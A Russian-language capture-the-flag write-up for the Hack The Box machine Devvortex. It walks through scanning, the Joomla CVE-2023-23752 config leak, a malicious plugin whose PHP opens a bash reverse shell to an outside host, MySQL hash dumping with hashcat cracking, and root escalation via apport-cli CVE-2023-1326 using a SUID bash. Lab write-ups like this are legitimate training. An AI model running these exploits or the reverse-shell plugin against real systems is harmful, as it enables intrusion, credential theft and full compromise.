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Обзор сервисов
Проведем стандартное сканирование портов машины 10.10.11.242
с помощью rustscan
:
$ ~/apps/bin/rustscan --ulimit=5000 --range=1-65535 -a 10.10.11.242 -- -A -sC
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.242:22
Open 10.10.11.242:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.242
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-25 14:01 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Initiating Ping Scan at 14:01
Scanning 10.10.11.242 [2 ports]
Completed Ping Scan at 14:01, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:01
Completed Parallel DNS resolution of 1 host. at 14:01, 1.12s elapsed
DNS resolution of 1 IPs took 1.12s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 14:01
Scanning 10.10.11.242 [2 ports]
Discovered open port 80/tcp on 10.10.11.242
Discovered open port 22/tcp on 10.10.11.242
Completed Connect Scan at 14:01, 0.05s elapsed (2 total ports)
Initiating Service scan at 14:01
Scanning 2 services on 10.10.11.242
Completed Service scan at 14:01, 6.12s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.242.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 1.98s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.22s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Nmap scan report for 10.10.11.242
Host is up, received syn-ack (0.053s latency).
Scanned at 2023-11-25 14:01:11 EST for 9s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.80 seconds
Находим типичные для Linux-машин порты.
Веб
Как обычно веб-сервис имеет доменное имя.
Добавим его в /etc/hosts
:
$ sudo nano /etc/hosts
10.10.11.242 devvortex.htb
Поищем интересные поддомены:
$ gobuster vhost -u http://devvortex.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://devvortex.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.devvortex.htb Status: 200 [Size: 23221]
...
Добавим найденный домен аналогично предыдущему.
И сразу же поищем интересные каталоги.
gobuster dir -u http://dev.devvortex.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
Находим админку по адресу http://dev.devvortex.htb/administrator/
.
Узнаем, что это Joomla, а также можем проверить версию с помощью http://dev.devvortex.htb/README.txt
.
Сразу же находим узявимость CVE-2023-23752.
$ curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true
{"links":{"self":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"Development","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes"* Connection #0 to host dev.devvortex.htb left intact
:{"list_limit":20,"id":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"***","id":224}},{"type":"application","id":"224","attributes":{"password":"***","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"sd4fg_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}
Отсюда находим логин и пароль, который прекрасно подходит для админки.
У нас админский доступ, поэтому можем создать свой плагин с реверс-шеллом. Создадим файлы и запакуем их в zip
.
Файл shell.xml
:
<?xml version="1.0" encoding="utf-8"?>
<extension version="4.0" type="plugin" group="content">
<name>plg_content_shell</name>
<author>1</author>
<creationDate>December 28, 2021</creationDate>
<copyright>Free</copyright>
<authorEmail>[email protected]</authorEmail>
<authorUrl>http://1.com</authorUrl>
<version>1.0</version>
<description>shell</description>
<files>
<filename plugin="shell">shell.php</filename>
<filename>index.html</filename>
</files>
</extension>
Файл shell.php
:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.135/4242 0>&1'");
defined('_JEXEC') or die;
class plgContentRevShell extends JPlugin
{
public function onContentAfterTitle($context, &$article, &$params, $limitstart)
{
return "<p>Boom!</p>";
}
}
?>
touch index.html
zip shell.zip *
Теперь установим получившееся расширение.
Не забываем его включить и поймать шелл.
В сетевых подключениях видим две базы данных - на 3306
и на 33060
. Из базы 3306
не вытаскиваем ничего интересного, зато в 33060
обнаруживаем валидный хеш пользователя logan
.
$ mysql -u lewis -p'***' -P 33060 -e "SHOW DATABASES;"
Database
information_schema
joomla
performance_schema
$ mysql -u lewis -p'***' -P 33060 -e "SHOW TABLES;" joomla
Tables_in_joomla
...
sd4fg_users
...
$ mysql -u lewis -p'***' -P 33060 -e "SELECT * FROM sd4fg_users;" joomla
id name username email password block sendEmail registerDate lastvisitDate activation params lastResetTime resetCount otpKey otep requireReset authProvider
649 lewis lewis [email protected] $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u 0 1 2023-09-25 16:44:24 2023-11-25 19:54:58 0 NULL 0 0
650 logan paul logan [email protected] *** 0 02023-09-26 19:15:42 NULL {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} NULL 0 0
Далее просто брутим его, получаем пароль для SSH и соединяемся.
hashcat -a 0 -m 3200 hash.txt rockyou.txt
Флаг пользователя
Повышение привилегий
Проверим, что у нас по правам суперпользователя:
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
Теперь проверим версию приложения:
$ logan@devvortex:~$ sudo /usr/bin/apport-cli --version
2.20.11
И сразу обнаруживаем CVE-2023-1326. Нам нужно создать crash-репорт, возьмем любой пакет (в моем случае wget
). После создания репорта прочитаем его с помощью уязвимой утилиты, скопируем bash
и дадим ему SUID-права.
$ sudo apport-cli -f --package=wget --save=/var/crash/test.crash
*** Collecting problem information
The collected information can be sent to the developers to improve the
application. This might take a few minutes.
..........................
$ sudo apport-cli -c /var/crash/test.crash
> v
> !cp /bin/bash /tmp/b
> v
> !chmod +s /tmp/b
$ /tmp/b -p